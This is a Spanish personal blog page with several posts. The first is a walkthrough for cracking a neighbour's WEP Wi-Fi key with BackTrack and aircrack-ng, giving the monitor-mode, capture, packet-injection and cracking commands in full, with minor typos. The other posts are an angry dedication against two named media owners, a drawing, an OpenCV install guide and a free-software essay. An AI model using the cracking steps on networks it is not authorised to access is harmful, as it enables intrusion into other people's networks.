Recuperar clave wep con BackTrack

Pues me pasó que tengo un vecino al cual se le olvido la clave de su red  y también pasa que mi vecino solo tiene windows en su laptop si tuviera una maquina con cualquier versión de linux solo instalaría el aircrack, así que descargue el BackTrack: www.backtrack-linux.org/downloads/ y el UNetbootin unetbootin.sourceforge.net/ para hacer mi live usb con BackTrack.

Configurando el UNetbootin para una versión de BackTrack 5, yo descargue el archivo de imagen para 32 bits busque la versión 5 en el UNetbootin pero no estaba, de todas formas no tuve problemas con eso.

Una vez que ya tenemos nuestro live USB  listo, reiniciamos nuestra computadora y nos aseguramos que en las opciones de booteo del bios este el dispositivo USB en la primera prioridad. Una vez que haya arrancado el BackTrack se nos presenta un menú  y elegimos la versión de linea de comandos, ejecutamos el comando startx para que nos pase a la versión gráfica y ahora si empezamos a ejecutar los siguientes comandos:

En una terminal.

Para ver que interfaz tenemos

#airmon-ng

Habilitamos nuestra tarjeta inámbrica en modo monitor con la interfaz wlan0.

#airmon-ng start wlan0

Escaneamos las redes para obtener la mac y el canal de la red que estamos buscando la clave

#airodump-ng mon0

Lo cual me arrojo algo parecido a esto:

BSSID                           PWR  Beacons    #Data,   #/s  CH  MB   ENC  CIPHER   AUTH ESSID

00:11:22:33:44:55    -78      200               1            0    8     54  . WEP   WEP         REDCHAFITA

Entonces la mac de nuestro servidor es 00:11:22:33:44:55 y esta en el canal 8. En otra terminal, con lo siguiente vamos a monitorear “REDCHAFITA”:

#airodump-ng -w redes -c 8 –bbsid 00:11:22:33:44:55 mon0

Hacemos la asociacion con la red REDCHAFITA.

#aireplay-ng -1 0 -a 00:11:22:33:44:55 mon0

Iniciamos la inyección de paquetes.

#aireplay-ng -3  -b 00:11:22:33:44:55 mon0

Esperamos a que se hayan enviado unos 15,000 paquetes (esto depende de la red).  Mientras en otra terminal ejecutamos un ls y buscamos el archivo .cap que se haya generado, en este caso es redes-01.cap y después ejecutamos el aircrack.

#aircrack-ng redes-02.cap

Si en ese momento la cantidad de paquetes fue suficiente para desencriptar la clave, nos mostrara el mensaje que la clave ha sido encontrada con éxito :) , si no esperaremos un tiempo y volvemos a ejecutar el aircrack.

Bueno este post lo escribí por si vuelve a perder mi vecino su clave pues ya se que hacer, si les sirve de algo mucho mejor.

Luces obsenas

Dedicado con todo el odio de mi corazón  a estos dos señores  Emilio Azcarraga y Salinas Pliego, con la esperanza que algún día se convierta en admiración cuando ya no distorsionen mas la realidad de este hermoso país, que no entiendo porque se empeñan en convertirlo en mierda.

This slideshow requires JavaScript.

Indios sioux a pastel

Aquí les dejo un dibujo con una técnica que me gusta mucho.

This slideshow requires JavaScript.

Instalar OpenCv en ubuntu

OpenCV es una biblioteca libre de visión artificial originalmente desarrollada por Intel. Se ha utilizado en infinidad de aplicaciones. Desde sistemas de seguridad con detección de movimiento, hasta aplicativos de control de procesos donde se requiere reconocimiento de objetos. Esta liberado bajo licencia BSD, que permite que sea usada libremente para propósitos comerciales y de investigación con las condiciones en ella expresadas. Open CV es multiplataforma, Existiendo versiones para GNU/Linux, Mac OS X y Windows. Contiene más de 500 funciones que abarcan una gran gama de áreas en el proceso de visión, como reconocimiento de objetos (reconocimiento facial), calibración de cámaras, visión estereo y visión robótica.

Instalacion en Ubuntu

I.

En una terminal logueado como super usuario tecleamos lo siguiente:

# apt-get install build-essential cmake subversion libgtk2.0-dev pkg-config

libgtk2.0-dev y pkg-config : Estos paquetes contienen los archivos de cabecera y bibliotecas, necesarios para compilar las aplicaciones que utilizan OpenCV.

cmake: CMake es una familia de herramientas diseñada para construir, probar y empaquetar software. CMake se utiliza para controlar el proceso de compilación del software usando ficheros de configuración sencillos e independientes de la plataforma. Subversion: lo necesitaremos para descargar del repositorio el codigo fuente de OpenCV.

Tambien puedes instalar los paquetes necesarios para la compilacion desde el Gestor de Paquetes Synaptic. En Sistema->Adminitración->Gestor de Paquetes Synaptic, busca el paquete llamado libcv-dev y con doble click instalas todas sus dependencias.

II.

Crear una carpeta donde se descargará el código de OpenCV.

#mkdir opencv

#cd opencv

Descargamos el código

#svn co https://opencvlibrary.svn.sourceforge.net/svnroot/opencvlibrary/trunk

Al finalizar la descarga

#cd trunk/opencv/

En este directorio crea una carpeta llamada release y ejecuta cmake

#mkdir release

#cd release/

#cmake -D CMAKE_BUILD_TYPE=RELEASE -D CMAKE_INSTALL_PREFIX=/usr/local -D BUILD_PYTHON_SUPPORT=ON ..

Compilamos e instalamos:

#make

#sudo make install

Exportamos las librerias para que nuestros programas las reconozcan

#export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH

III.

Hasta este paso ya deberia estar todo listo para correr tus programas sin ningun problema. A continuación testeamos Opencv.

#cd bin/

#./cxcoretest

Si todo se instalo correctamente no los notificara la salida. Ahora puedes probar y modificar los ejemplos del directorio trunk/opencv/samples/ a mi se me hizo interesante el programa facedetect.cpp, el cual con tu camara web reconoce tu rostro cuando apareces en la pantalla y lo encierra en un circulo azul. Lo puedes compilar de la siguiente manera:

#g++ -ggdb -I/usr/local/include/opencv -o facedetect facedetect.cpp -L/usr/local/lib -lcxcore -lcv -lhighgui -lcvaux -lml

#./facedetect

Espero les sirva de algo este post.

Todo tiene un objetivo

He creado este blog  antes que nada para aprender de ustedes y también para compartir los pocos conocimientos que he adquirido. A mi en lo personal me gusta mucho la filosofía del software libre la cual se la debo a mis amigos de la universidad. Platicando con un amigo le decía que en la década pasada, desde mi punto de vista fue un periodo muy estancado en todos los sentidos o talvez estoy equivocado y simplemente para mi la década de los 90′s  fue muy fregona, a lo que mi amigo me arremetió que si hubo un movimiento  que recientemente se empezó a formar, el SOFTWARE LIBRE.

El software libre respeta la libertad de los usuarios sobre su producto adquirido y, por tanto, una vez obtenido puede ser usado, copiado, estudiado, cambiado y redistribuido libremente. Desde que me convertí en un usuario Linux me ha ayudado a comprender de una mejor manera el funcionamiento de mi computadora. ¿ Porque esconder el conocimiento ?, compartir  yo pienso que es una de las soluciones a muchos problemas que aquejan a este mundo. Ojala que vengan mas movimientos como el software libre, ¿porque no? mundo libre, vida libre, música libre, pensamiento libre.